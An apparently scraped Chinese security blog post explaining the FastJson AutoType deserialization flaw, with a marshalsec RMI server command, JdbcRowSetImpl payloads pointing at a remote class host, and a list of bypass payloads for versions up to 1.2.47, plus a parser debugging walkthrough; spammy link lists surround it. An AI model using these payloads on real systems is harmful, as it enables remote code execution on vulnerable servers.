当前位置: 首页 > news >正文

网站上打广告培训机构加盟

网站上打广告,培训机构加盟,淘宝基地网站怎么做,海南城乡建设厅网站1 FastJson介绍 FastJson的主要功能就是将Java对象序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。把一个Java对象转换成字符串,有两种选择: 1)基于属性 fastjson引入了AutoType,即在序…

1 FastJson介绍

FastJson的主要功能就是将Java对象序列化成JSON字符串,这样得到字符串之后就可以通过数据库等方式进行持久化了。把一个Java对象转换成字符串,有两种选择:

1)基于属性

fastjson引入了AutoType,即在序列化的时候使用@type字段,标注了类对应的原始类型,方便在反序列化的时候定位到具体类型。

2)基于setter/getter

当我们要对他进行序列化的时候,fastjson会扫描其中的getter方法,即找到getName和getFruit,这时候就会将name和fruit两个字段的值序列化到JSON字符串中。

2 fastjson<=1.2.24

2.1 介绍

fastjson(v1.2.25 之前)的AutoType是默认开启的,也没有什么限制。 可以利用autoType这个特性,自己构造一个JSON字符串,并且使用@type指定一个自己想要使用的攻击类库。

比如利用com.sun.rowset.JdbcRowSetImpl这个类的dataSourceName传入一个rmi的源。

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:port/Exploit","autoCommit":true}

JdbcRowSetImpl类的基本原理见:JNDI注入

2.2 复现方式

首先创建一个远程加载的类

 启动web服务

这样访问http://IP1:3333/MyTest.class就可以访问到class文件。 然后我们借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类MyTest.class

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://IP1:3333/#MyTest" 9999 (注意IP保密)

最后传入:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://IP2:9999/MyTest","autoCommit":true}

2.3 FastJson调用栈

详见流程见fastjson=1.2.24调试。

Exploit小结:

来源于  https://github.com/shengqi158/fastjson-remote-code-execute-poc1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}

3 fastjson=1.2.24调试

1)class JSON类

pasre(String text)如下

2)class DefaultJSONParser类

当为{时,token=12

token=12,继续parseObject

来到parseObject(Map object, Object fieldName)

这里有一个 JSONLexerBase.scanSymbol,作用是找一对“”之间的内容

第一对“”里就是“@value”,判断key = @type继续走

3)class TypeUtils类

4)class DefaultJSONParser类

5)class ParserConfig类

6)返回之后继续来到class DefaultJSONParser,执行deserializer.deserialze(this, clazz, fieldName);

然后来到class JavaBeanDeserializer

7)继续往下走,来到 class JSONScanner

8) JavaBeanDeserializer类

9)FieldDeserializer类

反射调用

后面就是JdbcRowSetImpl正常流程了,见JNDI注入

http://www.lbrq.cn/news/2447551.html

相关文章:

  • 常州做网站咨询广告公司网站
  • 贵阳市城乡建设部网站seo应用领域有哪些
  • 服装网站建设规划书范文企业网站页面设计
  • 不同网站对商家做o2o的政策互联网营销的方法有哪些
  • 英文网站建设知识怎么注册网站免费的
  • 婚宴网站源码网站百度手机端排名怎么查询
  • 网站设计机构介绍网络营销
  • 网站项目建设流程图百度推广手机客户端
  • 全网vip影视网站一键搭建有效的网络推广
  • 腾讯云服务器可以做网站爱站网seo工具
  • 孝感网站建设网址推广
  • 做标识的网站 知乎百度关键词优化手段
  • 公司网站开发费用兴田德润在哪儿百度推广方式
  • wrodpress做学校网站百度推广怎么样才有效果
  • 宠物网站设计的代码口碑推广
  • 漂亮的数据型网站灰色关键词怎么做排名
  • 网页设计在哪里接单seo推广案例
  • 专做ppt的网站免费制作永久个人网站
  • 2003网站的建设西安关键词优化排名
  • 昆明做网站百度网页版主页网址
  • 网站加强阵地建设与管理怎么创建公司网站
  • 自己做网站网页文件在哪里海南百度推广总代理
  • 企业网站建设找外包公司做免费python在线网站
  • 中英文网站为什么要分开做一个产品营销策划方案
  • 有多少网站可以推广业务百度建站官网
  • 极速网站建设哪家好十大推广app平台
  • 自己做的网站实现扫码跳转怎么样把自己的产品网上推广
  • 网站建设最新技术seo营销名词解释
  • 我有虚拟服务器怎么快速做网站搜索引擎查询
  • 正能量网站免费下载试分析网站推广和优化的原因
  • Linux——线程同步
  • 【应急响应】进程隐藏技术与检测方式(二)
  • 软件工程:软件需求
  • JAVA知识点(三):Spring与ORM框架
  • 在VSCode配置Java开发环境的保姆级教程(适配各类AI编程IDE)
  • 论文复现-windows电脑在pycharm中运行.sh文件